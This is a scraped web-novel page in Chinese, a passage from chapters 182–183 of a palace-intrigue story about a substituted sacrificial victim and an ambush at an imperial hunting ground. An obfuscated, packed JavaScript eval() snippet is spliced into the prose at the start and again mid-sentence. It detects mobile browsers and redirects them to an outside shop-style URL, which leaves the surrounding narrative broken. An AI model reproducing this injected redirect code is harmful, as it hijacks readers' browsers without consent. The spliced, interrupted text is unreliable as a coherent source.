d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729039|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依·大流士。高昌王族以骁勇善战的祖先名字为姓氏,鞭策自己时刻不忘祖先那如山巅一般的功绩,王城内用黄金和石雕献祭永恒的权力与不朽。这个女人的名字,用咱们的汉语解释,就是不朽的魂灵。” 文湛,“你想饶了她?” “杀鸡焉用牛刀。”赵毓,“大郑刑罚森严残酷,令行禁止,本该守卫千年社稷,国泰民安,何必用来屠戮一介无知妇孺?” 良久,文湛,“承怡,阿伊拉的名字是什么意思?” 赵毓,“众神之鞭。” 文湛意外,“如此凛冽?” “嗯。”赵毓点头。 文湛,“我之前以为是花鸟鱼虫,听你说那疯妇的名字有些意外,也想问问她的。不过,承怡。” “嗯?”赵毓看着他。 文湛,“殷忘川。” 赵毓,“……” 文湛,“现任高昌王,他的名字是什么?” 赵毓,“他没有高昌王族的名字,他就是殷忘川。” 文湛起身,也将赵毓拉起来,“奉宁过来了,我们上马吧。” 赵毓,“文湛,我去北境,可以保证他永远只有一个汉族名字。” 可文湛却说,“他不重要。他叫殷忘川也好,他是阿尔术依也罢,就算他将他父王、他的那些祖先,还有他那些同族姐妹们的名字都叠上,也无所谓,承怡。可我不能这个时候去死。” “你出事,我活不了。” “太多事情没有做,我不能死,承怡。” 赵毓,“莫说千万步也不一定会到这一步绝境,就算当真是我天命所终,我希望,……,文湛,你放过自己。” 文湛,“你当年为什么回来?” 赵毓没有回答,也不用回答。 那一年景王谋逆,文湛杀出重围却身受重伤,赵毓回京之后见到的,就是已经昏迷的他。 ——“前些天,我知道你会死,忽然有一种感觉,似乎自己也无法活下去……” 大正宫根本生不出广袤大地上生长的麦穗禾苗,他们两人就是太液池生出的红莲,禁庭生出的蔓藤,阴暗诡诈却强悍绚烂,他们的性命早就绞扭在一起,分不开了。 此时奉宁的马已经入了密林,在他们不远不近的地方,勒住了缰绳。 文湛却没动,反而轻微抬了一下手,召奉宁过来。 奉宁急忙下马,送过来一个水囊和一个包裹好的点心盒子。 文湛接过水囊,拧开,递给赵毓,“我让他们准备了点吃食,这是鸡汤。” 赵毓方才刚将早上生嚼的人参并吃进去的熬煮杂鱼都吐了,腹内空,饿得有些眼花,文湛递过来的鸡汤当真是雪中送炭。他喝了几口,还是温热的,顿时舒服了很多。 随后文湛打开点心盒子,拿了一块新蒸好的红枣糕,放入掌心,递了过来,说,“早上那个时候不但有北境的军报,还有南方大雨洪涝的事,我没顾得上盯着他们为你准备饭食,黄枞菖又不敢管你,这才让你吃了三根人参。” 他知道,其实承怡不是很会照顾自己。 大郑的天潢贵胄,先帝掌心的骄纵,吃穿用度穷奢极侈,一朝繁华散去,粗茶淡饭可怡然自得,与旧时宫廷禁苑相比,却显得分外清苦。 喝不到可口的茶水,就喝白水;吃不到可口的点心,就不吃。可原来在宫廷,连端午的粽子都需自己亲手剥叶,白糯米和大枣蒸就的吃食,用银刀切成适宜入口的小块,一并摆放在他面前,他才吃上两块。 之前多娇贵,随意就多潦草。 真是一眼没看住,承怡就开始潦草。 北境荒蛮之地,安宁之时都不是承怡能承受的,何况他现在有伤在身,北境又兵连祸结? 赵毓从他掌心拿过去那块糕。 文湛,“那三根参,即使不是长白山的老参,也硬得很,幸好方才吐了出来,不然克化不动,伤身不说,多难受啊。” 赵毓吃着红枣糕,细细嚼着,糕的味道清甜细软,很可口,同时听文湛说话也是很有道理,于是连忙点头。 文湛微微叹口气,才说,“以后不许胡乱吃了。” 赵毓又点点头。 等他吃完,文湛拉过他的手指,用丝帕擦干净,又将水囊点心等都给奉宁,这才伸手扯过马的缰绳。 “先去河谷营地。” 182. 182 182 河谷营地用来关押祭祀用的人殉牲畜。 地处山水之阴,即使烈日高悬,依旧漫延着一股森冷幽暗。 皇帝的雪鹰旗早已将此地层层戒严。 一片开阔地,赵毓被文湛抱下马,又咳嗽了两声,这才扶着文湛的袖子,稳了稳神儿,稳住喉咙中有些不安分的气血,问奉宁,“猎场主祭祀的一直都是文王戎氏,文王身子不爽利,他们家那位杀伐果断的世子戎久安呢?” 奉宁,“之前陛下与兄长不在猎场,我核验了送来这里的人殉,只是有一位妇人与名单不符,就是……” 赵毓,“就是这次在朱仙镇闹出天大祸事的沈臻那个高昌小老婆。” “是。”奉宁看了看面无表情的文湛,似乎主上此时并没有将那妇人剥皮浇油直接烧的旨意,于是说,“我察觉到一些事情不对,但是陛下与兄长皆不在猎场,我不敢擅专,只能将人看管起来,河谷营地的守备之权也并未移交于文王世子。我也问过那妇人的口供,可是她口很严,如果不上重刑,只怕什么都问不出。” 赵毓摆了摆手,“不用折腾。”又问,“戎久安不在这里?” 奉宁,“应该在文王营帐。” 赵毓,“事情紧急,就别耽搁了。先将那妇人押过来,咱看看咸淡,再说清河公主府淘换来的那几个倒霉蛋儿。” 大郑祖制,人殉牲畜上祭祀高台活剐之时要圆润,寓意六畜兴旺,不能状如枯槁,所以牛羊猪马的饲料全部用玉米拌上等西疆干草,而人殉的口粮则更胜一筹,是烤肉拌粟米饭,甚至还有果酒。 所以这位冒名顶替“高昌疯妇”去死的妇人被押送过来的时候,发髻整齐,衣裙干净,气息平静,并不像将死之人。 她跪地。 赵毓向前两步,在她面前轻轻蹲下,仔细看了看她素雅的面庞才说,“你家有什么过不去的坎,舍得送你去死?” 那妇人听着一惊,抬起眼皮,看着近在咫尺的赵毓。 这是个难以形容的男人。 面容纤薄,很柔和的感觉,似云似水,可眼神却锋利如刀! 赵毓,“去年我往扬州买妾,她十三岁,卖身契签死总共五十两黄金,可她的样貌却不及娘子十之一二。” 奉宁听着一愣,他看了看文湛,而文湛却没有看眼前,反而是扫了一眼远处的山谷,因而看不清楚表情。 赵毓,“娘子如此容貌,千金之重,即使为夫家所不喜,被休弃出府都有机会另谋高门,何必送死?” 那妇人听着有些动容。 赵毓,“娘子有何伤心事,可同我讲,我帮你。” 那妇女才犹豫开口,“是,……,我儿子。” 赵毓安静聆听。 妇人,“他病了,需银子买药。” 赵毓,“敢问娘子芳名?” 妇人,“我娘家姓李。” 赵毓,“李娘子今年青春几何?” 妇人,“二十三岁。” 赵毓,“令公子不过四五岁的年纪吧。” 妇人,“五岁。” “五岁稚童……”赵毓看着她,似乎有些笑意,却像是刀刃开锋,“夭折是很容易的。” 妇人,“……” 赵毓,“您真不怕自己不在令公子身边,薄幸的夫家也不救孩子,反而拿了你用命换的银子娶小老婆?” 妇人终于忍不住,呜咽一声。 赵毓,“李娘子哪里人士,夫家姓甚名谁,住在何处?” 她终于开了口。 赵毓听着点了点头,命人先安顿了她,想要起身,腿脚有些不利索,文湛连忙将他扶起来。等他站稳,又喘了口气,方吩咐奉宁,“传令禁军,按照这位李娘子说的姓名和地址,即刻缉拿。” 文湛又递过来一个水囊,“冲了一些白毫银针,给你,清一下火气。” 赵毓接过去,抿了一口,“我还想说,要再是参汤,我就喝不下去了呢!” “嗯。”文湛看着奉宁领命做事,眼光又扫了一下不远处的河流,河谷营地周围的地势大抵了然于心,这才状似不经意问,“往扬州买妾是几时的事?” 赵毓,“……”他又喝了一口茶水,才说,“我这不是随便一说嘛。” 文湛一挑眉。 赵毓,“奉宁说过那妇人口很紧,什么都不说,想必自觉没有活路。这样的人,就算用重刑,一时半刻也未必能问出什么,而且她也不是多么强壮的人,就怕有个闪失,人就废了。” “我得让她知道,她还有其它活路。如今情况紧急,没空细想别的,她得明白,就凭她本身的容貌以色侍人,也比上祭祀台被活剐了强。” 文湛,“你怎么知道她夫家薄幸?” 赵毓叹口气,“孩子难养活,碰上个病啊灾啊,容易夭折,大多家里就认了命。平日多生养几个娃,损了一个,还有其他,只要老婆能生,再生就是,少见拿大人换孩子命的。就算家里男丁金贵,要卖老婆筹药钱,一般也就典了或者出了,算是顶不要脸面的了,好歹还给妇人留条活路,少见当真拿老婆的命去换钱的。” “夫妻恩义早断了,能让妇人强撑着一口气,也就是孩子的一条命了。只是……” 赵毓又叹口气,“她男人家能走到这一步,估计是老婆孩子都不想要了,这妇人也心知肚明。之前她死咬着不吐口,也就是个执念,我把话说开了,她心神也就散了。孩子的命能不能救,以后尽人事听天命,可是她不能让她男人断了她们娘俩的命还数钱。要是那男人再用这笔沾了血的银子买小老婆生小儿子,于妇人而言,那可真是过奈何桥也咽不下忘川水的仇怨啊!” 文湛感觉到有些陌生。对于他来说,这些人就应该安生度日,日出而作日落而息,生养人口。而扯出这些奇异的恩怨,显得不安不生,不平不静,像是不从教化。 赵毓的茶水喝得很顺口,有些饿了,于是文湛又递了他一块南瓜糕,都是早上现蒸的,清甜可口,不腻不燥。 “哥哥。”文湛,“扬州那边,当真是十三岁的女孩子价值五十两黄金吗?” 赵毓,“呃……” 文湛看着他。 赵毓,“我也就是随便一说,不过人市上,十三岁的女孩子要价最高。” “哦。”文湛低头摆弄了一下水囊,“原来哥哥说的是人市行情,我还以为哥哥有什么诡异的想法呢!” “呃……”赵毓立马说,“我一直坚持,这么大岁数的半大丫头,有家底儿的,多读书,没家底儿的,学学女工做做活儿,多吃饭多吃肉,比啥都强。” 文湛点了点头。 赵毓,“所以,我是不会有任何诡异的想法的!” 文湛听着,也就微微点了点头。 赵毓,“怎么,陛下不信?” “我信哥哥。只是……”文湛,“哥哥对于风月之事未免过于熟悉,让人……” 赵毓,“这不是风月,这是常识。陛下如今不在民间采选,不然,被花鸟使拉到大正宫的女孩子们,大多也就是这个岁数。” 文湛,“……” 赵毓,“不然陛下以为寻常家里生了能入宫廷的女孩子,好吃好喝,一直养到二十岁啊?那肯定早早打发了事呀!” 文湛,“……” 奉宁着人押送过来另外五名妇人,赵毓认得其中三人,正是在朱仙镇那个大姑娘小媳妇聚集的院落中,被赵驸马的喽啰放进去的三人。 ……头一位看着像是嫁过人,头发梳成髻,衣裙洗得干净,就是有些旧了,后面的裙子角还有一块补丁。 至于第二位,没嫁人,人看着挺干爽,衣服罗裙也不错,头发上还挽着一根木簪子,虽然不是很名贵,但是雕刻着山茶花,样式精巧。 第三位衣服半新半旧,没补丁,也没有巧思,似乎放在镇子上能融入人流,放入山林中能成为山珍,…… 至于剩下这二位。 赵毓左看右看也没有任何稀奇。 这就是清河公主府送进来的倒霉蛋,原本人家就是没有第二天的口粮,想要扮个观音或者花神赚上二十两银子,结果稀里糊涂被送进猎场,差点就成了祭祀高台上的六畜兴旺。 赵毓问,“她们是跟谁混进来的?” 奉宁,“最后一批人殉。” “不对呀!”赵毓疑惑,“我记得最后一批人殉是南疆的战俘,男人居多,大抵都是细长脸,肉少皮薄,头发梳理的样式和服饰都与我们有很大不同,这几个倒霉蛋混迹其中也太容易被识破了吧。或者,……,操纵这些的背后之人原本就没想着隐瞒?” 奉宁,“这批人殉进猎场之时,沈臻内眷人名不相符的问题已然明牌,只是当时陛下与兄长皆在朱仙镇,南苑之内无人敢擅专,因而这一批人殉只是原地扣押,未曾核验。柳密大人携旨意从朱仙镇回返猎场,雪鹰旗开始核验最近十天进出猎场全部人名册,这才发现清河公主府送来的五名女子就在河谷营地。” 赵毓盘了盘这件事儿: 漕帮尤七的画舫过了莲花渡口继续北走,其实就是要在最靠近猎场的河岔口换人,也就是将沈臻高昌内眷溯黛换出,同时再放人进入。结果当时自己掌管猎场防务,封住南苑,导致他们原本的计划无法实施,可是溯黛已然离开猎场,于是画舫那趟北游只得将她带出。 也是那时,他在朱仙镇河沿上听见有人吹奏筚篥。 漕帮刚开始救溯黛,仅仅以为她是高昌美人,奇货可居,没想却惹下泼天大祸,因为在幻境他们围剿自己之时,尤七挡在前面,说的是,——不过是个女人!再少见,再稀奇,在赵先生这里,也只不过是庸脂俗粉,玩意儿而已! 那就是说,目前看来,这件事儿,全程由清河长公主操纵。 她为了杜氏。 可溯黛已经由李娘子顶替了,他们继续折腾,还要送人进来,到底还想换谁? 想到这里,赵毓问奉宁,“剩下的人殉名单中,可还有可疑之人?” 为了谨慎,奉宁甚至亲自将这五位妇人又询问了一遍,这才回来复命说,“粗略查了一遍,无可疑之人。” 即使人殉名册相较其它名录严正,在人名旁边除记录生辰年月、籍贯等文字之外,还写有相对应的人面描述小段,却并无精确画像。因此核验之时,禁军兵士也只能将文字小段对应眼前真人面孔粗略比较一番,毕竟每个人的眼中,鹅蛋脸和瓜子脸,杏核眼和荔枝眼,柳叶眉和弯月眉,等等这些面容特质的标准是不一样的。 “既无可疑。”此时,文湛却话说了。 他的声音轻,却极明晰,不被山野风声所扰,犹如金石之音。 “无辜之人可放。” 赵毓听着,看了一眼文湛,极微妙。 这是圣旨。 做臣子的脑子抽羊角风才会当面驳陛下,当然,骗廷杖的除外。 只是,…… 人殉出了这么多这么大的纰漏,昏聩之主宁错杀毋错放,必将所有人绑上高台祭天。文湛不是这样的帝王,不会滥杀无辜之人,可眼下这个情形,稳妥一些也要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729040|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将所有人先圈在猎场之内,等狩猎结束再行定夺。 而不是当场放人。 文湛没有情绪,他那种独特的极具统治力的俊美,宁静冷冽,甚至可以湮灭黑色缂丝猎装上五爪金龙的杀伐之气。 奉宁长揖,“臣遵旨。” …… 温挚策马入河谷营地之时,正看见赵毓靠在一棵参天古树下假寐。而赵毓听见马蹄声踏过不远处的草丛,立刻睁开了眼睛。 他看见了温挚,还有她身后不远不近的柳密。 “……?” 随即立刻倚在大树根上,直了直后背。 柳密寒门文官出身,本不会骑马,此时却手握缰绳,虽然姿势显得僵硬,却实实在在端坐于马鞍之上。 赵毓知道柳密极聪明,没有名师启蒙,没有大儒课业,却能在极年轻的时候以科甲正途博高爵厚禄,可是他人再聪明,也是同书卷宣纸打交道,而不是直接驾驭烈马。虽然柳密骑的那匹马也不是很烈,而是留在猎宫神驹当中最温和的一匹。 他赶紧扶着树站起来。 “大殿下。”温挚下马,雪鹰旗有人过来,接过缰绳。 赵毓,“我以为姐姐会与柳大人同乘一匹马。” “别提了。”温挚和他转身看着柳密。 此时,这位传奇的柳大人终于跑马过来,深吸口气,任由雪鹰旗的人拉住缰绳,自己侧着身,小心跳下马,双腿有些打颤。 温挚,“他是不会骑马,我想着与柳大人同乘一匹马更稳妥,可是他说男女授受不亲;我说事急从权,可他坚持自己策马,全然不顾这是第一次上马鞍。我也不是固执己见的人,于是从善如流。” 赵毓轻笑一声,才问,“姐姐,出什么事儿了。” “有人围猎徐总督家那位公子。”温挚看着他,“柳大人赶到猎宫报信,可惜,陛下与你已经到河谷这边,所以我们紧忙赶过来。” 赵毓,“徐玚?” “没死。”温挚,“松亭温岭带人过去了。” 她口中‘松亭’就是她堂弟靖渊公温栾,这位公爷小字松亭,取自‘亭亭山上松’,只有文湛和他家长辈与堂姐如此称呼。 外人既然无法称呼他的小字,自然也不知靖渊公底细。 “大殿下。”温挚说,“按理说那位徐公子在猎场连弓弩都没有,根本没有狩猎的资格,而且如今南苑也没有乱成混杀的局面,他不应该被攻击。所以,我想,这事有可能冲着你来的,毕竟……” 毕竟,徐玚曾经隶属赵毓西北军。 他们说这些的时候,柳密就在一旁,不开口,也不询问文湛的踪影。 “也不一定。”赵毓则说,“徐家同我西北军缘分实在太浅薄。” “咳!”柳密却发了声,“赵先生慎言。” “嗨!”赵毓摆摆手,“没外人,就不脱裤子放屁了。” 柳密下意识用手挡了一下,可是终究没说话,而温挚则摆出坦然聆听的姿势。 赵毓,“大郑兵制积弊已深,一千多年的老毛病了。阵前兵卒只知有将帅,不知有陛下,搞的这些军队都像是统帅的私兵。如果统帅听命于陛下,那么这些兵卒也就听命于陛下,如果统帅有私心,那就不好说也不好听了。” “所以言语一句我西北军,虽然犯忌讳,可也的确是这么个事儿。” “不过,柳大人参赞西北军机业已经年,自然也明白,阵前缺人。先帝是给了我总摄西北军政大权的虎符,可是这人才又不是戈壁滩上的沙葱,只要撒了种子,吹一年的西北风,就能迎风茁壮成长!缺人就像是个无底的大坑,那时候,不要说平头正脸,都不挑拣缺胳膊少腿,只要能填这个坑,都要拿来用了。” “徐大公子曾经是我的副将,他爹曾经是我的粮道,可我们早就分道扬镳了。前些日子他从北境回来,我在岐山看见他,我们俩人一合计,也是小十年没见了。” “如今他爹前途远大,我这小庙可招惹不起这么大的佛,他老徐家跟我没关系。” 柳密前来,想要说的是法度,毕竟赵毓是随扈陛下的王公,执掌猎场防务。 可赵毓却说的是权力。 柳密并不畏惧与赵毓交浅言深,他只是有些担心猎场会失控,虽然他已经大致预料出将要发生什么。 尤其是被赵毓放弃的徐玚。 温挚一直淡然若水。 是呀,她本就是天子近臣,温氏甚至与王族联姻,就算当真发生了什么,于她,不过一场寻常杀戮而已,虽然血腥,却是寻常。 如今看来,徐玚不过是被放入猎场的一只兔子,引群狼出动。 赵毓却笑了,“柳大人熟读圣贤经传,学了一肚子治国理政,当真不想看看,您满肚腹中被奉上神坛的东西,为什么依旧拘于臣的位子,永生永世?” 柳密,“殿下装醉,驱黄秉笔引徐玚入猎场,就是存着这个心思吧。” 这是与赵毓相交十数载,柳密第一次称呼赵毓为“殿下”。 “不是。”赵毓却说,“徐玚的确是为程风验明正身的唯一人选。” 柳密一挑眉。 赵毓,“不过他人既然来了,就要物尽其用。” 话音已落。 重伤之后的赵毓苍白单薄如同一张宣纸。 可是柳密却记得那日凌晨,初入猎场呼啸冷冽山风之中,赵毓对徐玚说的那句话,声音很独特,似乎带着浓熏的白昙花的香气, ——“徐将军,在南苑,要握紧马鞭。因为……,你手中没有弓箭。” 183. 183 183 宗政文辩看见赵毓下马,他身后策马而行之人,不但有靖渊公的堂姐温挚,重臣柳密,甚至还有雪鹰旗的一队人马。 心下微微吃惊! 之前有消息,祈王受重伤无法骑马,猎场的防务大权易主,各种传闻喧嚣之上。其中愈演愈烈的就是陛下不喜祈王,但是碍于王族内法度,承怡毕竟是陛下长兄,虽然说君臣有别,但是王族内长幼有序,再加上大宗正燕王对承怡的维护,陛下将猎场的防务委任祈王也是权衡之举,而陛下的雪鹰旗则再自己手中,把守关隘。 这次祈王莫名重伤,焉知非上意? 这些,宗政文辩一个字都不信。 不要说同自己交好的吉王世子安沣面对传闻岿然不动,自己有眼睛,能看,如今猎场的防务非但没有易主,祈王承怡的权势反而被隐隐加强了,原本不动如山的靖渊公温栾为其鞍前马后,而祈王本人居然能调动陛下的雪鹰旗! 这些显得传闻愈加诡异和蹊跷。 看着赵毓身上的黑色缂丝龙纹猎装,宗政文辩不禁陷入了另一种思绪。 宗政氏显贵,他母亲是楚王的敬和郡主,而他父亲宗政三省为三等忠勇伯次子。与王族联姻、祖上恩荫、外加朝政上当真得力,如今他父亲已被陛下册封为文信伯。宗政家父子一门二爵,当真是寻常公卿世家也难以企及的煊赫。 一年前,当时宗政文辩在雍王府邸攒了个局,让在雍京的一些王公子弟过来游园,一是为了雍王的新园子温一下人气,再来也是让这些子弟增进一下情谊。当时,几个孩子认识了刚到雍京的尹徵,也就是赵毓内弟,就邀他入雍王别院游园,赵毓自是不放心,也跟着过来了。 凤化末年有过极其残酷的权力斗争,可是宗政文辩年轻,赵毓被褫夺王爵出雍京之时,他尚为幼童,不要说结交祈王,就连对此事的大致了解也是他长大之后,听见家中长辈说出来的只言片语,左拼右凑之后才有一个模糊却不成形状的概念。 他根本不认识祈王承怡。 因而在雍王别院第一次见到赵毓之时,只是将他作为跟着尹徵来亲王别院见世面的一个“添头”,却从未轻慢。 当时随侯次子石恺依仗家世,玩了一场将活人当做猎物的游戏,失了准头,差点闹出人命,还是赵毓出手平息了事端。当时宗政文辩不在场,后来又是从长辈口中陆陆续续听到一些关于凤末,关于雍王,还有一切早已经湮灭在雍京中的往事,他这才后知后觉,原来那人,正是承怡! 而这次,宗政再见到赵毓,是在南苑。 猎场,竟然又是猎场。 上次随侯次子的围猎活人的游戏不过是小孩子的胡闹,这一次,恐怕就连随侯家族也难以逃出生天,他们同南苑山水草丛中跑来跑去的兔子羚羊也没有什么区别。毕竟随侯世子已经被陛下亲自下旨关押,北境总督的长子徐玚已经受伤躺在木床之上,石家的次子又能贵重到哪里去? 那么,自己呢? 敬和郡主和文信伯的儿子如果清心寡欲,可否求一豁免? 而祈王承怡自己呢? 那身猎装,于他其实并不合身。赵毓既不骁勇也不健硕,他枯瘦,犹如一支竹架子撑起一片纸扎的人,可黑色缂丝龙纹却能十分熨帖罩在他身上。只是不知,这份熨帖能否掩盖裂土封王的妄念,万世功业的雄图? 徐玚已经裹好伤,赵毓俯身去看。 柳密觉得赵毓这一幕有些特殊的眼熟,特别像十几年前,第一次在卢沟晓月看他踢翻周王世子,以手中马球杆顶部的黄金龙头,颤巍巍指着周王世子那张惨白脸蛋子,露出獠牙。 此时赵毓并没有装出痛心疾首的模样,反而认真看了看徐玚伤口,对医官说,“箭杆上有碎木屑,扎肉里面了,这不成,一会儿再仔细用小镊子一根一根挑一遍,这种伤口不清理好了,皮肉容易溃烂。当年我老爹有位王叔,在猎场中了箭,也是这种伤,碎木屑没弄干净人就一直发热,熬成了一具人干,都没活着出南苑。” 柳密不十分清楚赵毓说的到底是什么一回事,不过他大概能猜出来,这并不像一出简简单单南苑狩猎意外,而应该是一场王族叛乱。柳密不清楚,宗政文辩却一知半解,这到真不是王族叛乱,而的确是一场说不清道不明的意外,没于南苑千年山川草木。 大约五十年前,凤化四年,先帝冲龄践祚,尚未亲政。彼时太后弄权,宗室野心勃勃,悍臣满朝,帝座艰危。赵毓口中这位先帝王叔便是当年坐拥雄兵的晋王,一次南苑围猎死于无名小卒的断木碎箭,生前兵马、身后雄名,皆灰飞烟灭了。 而当年先帝只有十二岁。 “先疗伤,命要紧。”赵毓对徐玚说,“其它事容后,猎场已然是瓮中捉鳖之态,谁也跑不了。” 随后,他直起来身体,还振了一下袍子角,才说,“柳大人没见过我父皇。” 朝野皆知,柳密是重臣,而且是彻彻底底的“元熙重臣”。他考出来的时候文湛已登基改元,他殿试做天子门生做的就是文湛的门生,先帝虽然依然健在,却禅位不问朝政,专司修仙打醮与西北军务,因而柳密从未见过这位御极四十载的先帝。 柳密则答,“臣未曾有如此荣幸。” 其实他挺怕赵毓接一句,——等得空,我给你好好讲讲先帝。柳密搜肠刮肚想要找出婉拒的托词,幸好,赵毓不言语了。 奉宁回来了。 赵毓命他着人锁拿假扮溯黛上祭台的李娘子的夫家,当然还有个重要的事情,就是看看李娘子生病的儿子是否得到妥善照料。 赵毓原本想的是这夫家既然连老婆的命都卖了,肯定连儿子也不想要了,一定想着拿这笔沾了血的银子另娶小老婆再生一窝,可没想到奉宁带回来的消息却彻底不是这一回事。 “李氏夫家姓解,住在雍京北城,虽然不是显贵,却也是殷实人家。” “这解家不但连请了大夫为孩子好好诊治,甚至连李氏娘家也妥善照顾。” “我们的人过去的时候,他们震惊,似乎根本没想到李氏反水。” “解家老爷上枷的时候一脸悲愤,趁禁军不备,还打了身边儿子一巴掌,仰天长叹一句,——妇人误国。” 赵毓,“……” 什么乱七八糟的,这都哪儿跟哪儿? 奉宁常年于赵毓麾下,熟悉他的想法和做法,便说,“兄长,我已命人套了一辆马车,垫了厚褥子,也请了一位大夫随行,将那孩子接来猎场,与李氏妇人团聚,便可打消她的疑虑。” 柳密就在一旁,听见这话,他见赵毓没说什么,他自然也不会吱声。 团聚当然是真的,威胁也是真的。 奉宁,“我怕妇人言语不清,将解家父子一并带回。他们不怕路途颠簸,路上可赶一些,今日夜里应该就能进猎场。” 赵毓,“这家是做什么营生的?” 奉宁着人锁拿解家的同时,也派人到顺天府取了他们的黄册,“晋中盐户,家中子弟在雍京读书,因而买了宅子,住在北城。” 赵毓忽然乐了一下,“雍京北城的宅子可不是码头集市上的鱼虾,捧着银子就能买到的。” “黄册重徭役,写的是糊口的行当,丁口和宅田,说白了,全是男人的事儿。”赵毓,“不说别的,就解家黄册,就没有他们家这个不要命的妇人吧。” 奉宁摇摇头,“没有。” 赵毓为难,“他们家要是出身晋中,那么族谱应该也在山西。按理说,族谱上有一些儿女嫁娶的事儿,也许有族中女眷的只言片语,但是远水解不了近渴,……” 柳密就算在政务上颇为熟悉,此时也有些束手。 赵毓,“只有重刑这一招了吗?” 他说着,眼风扫了一下周围的人,落在宗政文辩身上。这位世子身上有一种异常微妙的情绪波动,就像是旷野的微风。 不过,赵毓也没有长久注视,片刻之间便转开了眼睛。 似乎什么都没有发生。 除却宗政文辩背后一层不为人知的、稀薄的冷汗。 ——祈王会察觉吗? ——如果察觉,这是知情不报,还是结党营私? 宗政文辩正在胡思乱想,模糊中听见一声“圣驾到了”,于是收拾心思,稳定了心神,赶忙跪迎。 照例跪倒一片。 也许因为额头已经抵住地面,宗政文辩脸庞侧有新抽枝尚未长高的鼠尾草,紫色的花朵如同一串铃铛。 陛下声音并不高,一贯如此,甚至听上去还带着三分和颜悦色,却让人胆战心惊!不要说他的父母,就连他外祖世封荆襄的楚王,元熙朝奉旨入京表演宗藩亲亲以睦,仅一次在天承殿觐见陛下,他老人家都苦不堪言,如丧考妣。 夜半无人,外祖睡不着,扯着他诉苦,“他和先帝真不一样!不说别的,先帝写谶语青词让臣子揣摩做事,做好了是君父圣明功在千秋,做坏了是乱臣贼子罪不容诛!虽说是弄权,但好歹还有个示下。” “今上不同。陛下什么都不说,什么都不做,就让人自己煎磨,磨好磨坏他不管,可是一旦犯了他的忌讳,他真下的去手!陛下至圣极明,做臣子的怎么揣摩、怎么煎磨,都觉得犯他忌讳,总是不平稳,那感觉就好像脖子上悬一柄利刃,冷飕飕寒气逼人,平常都带着腥味儿。” “苦,当真苦!” 宗政文辩也听说随侯石家那位世子的事,他御前不知道犯了陛下什么忌讳,差点被当场射杀,如果不是燕王力保,那位随侯世子已经是尸身,被掩埋于猎场泥土中了,就像这千年以来,死的不明不白那些数不尽的王公贵戚一样。 位列大郑三十二侯府又如何? 蝼蚁,一样是蝼蚁。 宗政文辩正心神不宁,见身旁吉王世子安沣已经谢恩叩头了,他也匆忙谢了恩,随着众人起身之后方知陛下命人将受伤的徐玚抬走医治,同时也准许他们退下了。 赵毓见宗政文辩走掉的背影,有些若有所思。 “怎么了?”文湛问他。 “呃,没事儿。”赵毓想了想,不将这种毫无边际的莫名思绪展露出来,“可还顺利?” 文湛从怀中拿出一个布包。 不大。 赵毓接过来,打开,里面是一包黄玉色的山果子。 是姑鸢。 文湛,“谢翾飞给你熬的药,你嫌苦。我回猎场的时候,看山巅歪着一株树,枝头挂着这种果子,我记得小时候你喜欢吃,说它只甜不酸,就给你摘了几颗,佐汤药吃。” 赵毓拿出来一颗放入口中,清冽冽的甜味儿,果真没有一丝酸。 文湛,“不是和你说喝了汤药休息一时嘛,怎么又急着骑马?” “温姐姐和柳大人亲自找的我,我得过来。”赵毓将这边的事情,包括徐玚遇袭和李娘子奇异的家人的故事都说给文湛听了听,然后他又问,“你那边的事情顺利吗?那几位莫名被卷进来的妇人,都安稳回家了吗?” 文湛没回答,方才就是。 赵毓记得自己就是随口一句,——可还顺利?文湛并没有回应,而是直接拿出了山果子。 “呜……” 一走神儿恍惚,又被文湛喂了一颗黄果子。 雍京的雨一场一场下来,猎场也是一夜寒过一夜。李娘子那儿子被带进南苑的时候,赵毓出来都罩一件大氅。她们母子被带到一间遮风挡雨的屋子里,有桌椅,有床,燃了灯,还煮了热汤面。虽然她并不确切知道赵毓的身份,可是她会看衣服的纹路,赵毓身上这种黑色缂丝翔鸾龙纹猎装,在南苑到底意味着什么,她心知肚明。 赵毓其实还是有些意外的,“李娘子能看懂我 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读书清贵,就是既‘清’又确实‘贵’。天下民十成,文盲九成五。 “而且,呃……”赵毓笑了一下,“这诗说是农时,倒也真是农时,亦是为他人作嫁衣裳的一曲哀歌,虽然哀的不甚明显。” 文湛看着他,“怎么了?这么感慨。” 赵毓,“我总觉得哪里不对劲儿,可是又抓不住思绪。” 他又想了想,“天要下雨,娘要嫁人。” “文湛。” “嗯?” “你说,这句俗语中的‘娘’,当真是老子娘的娘,还是妇人的统称?” 文湛,“……” 赵毓,“甭管是谁,那这个娘,要是不愿意嫁人,能怎么着?” 文湛,“最好还是嫁人,相夫教子,平安喜乐过一辈子,以昭教化。” “可是……”赵毓,“我想了想,这天要下雨,咱怎么也管不了。毕竟就算陛下号称真龙天子,也不能当真把你裹在炮仗上,一飞冲天,去吞吐云雾,消弭云雨,……,就是云雨字面的意思,不是咱俩那个啥。” 文湛,“……” 赵毓,“可是这个娘,毕竟还在人间,还是个大活人。是活人就有自己的想法,就能挑拣自己喜欢吃的饭菜,有人就是天生不喜芫荽的味道,不能人家不愿意吃硬往人嘴巴里面塞,你说是不是?” 文湛看着他,“哥哥还是对李氏心软了。” “她孩子才五岁。”赵毓,“放生吧。” 文湛,“哥哥可想过,夫家覆灭,她何以为生?” 赵毓,“给她些盘缠,让她带着儿子离开这里。只要她们母子不分离,总能过得下去,总有一条生路。” 文湛没说话,只是抬头继续看夜空。 “承怡。” “嗯?” “你知道北辰帝星一直在变吗?” 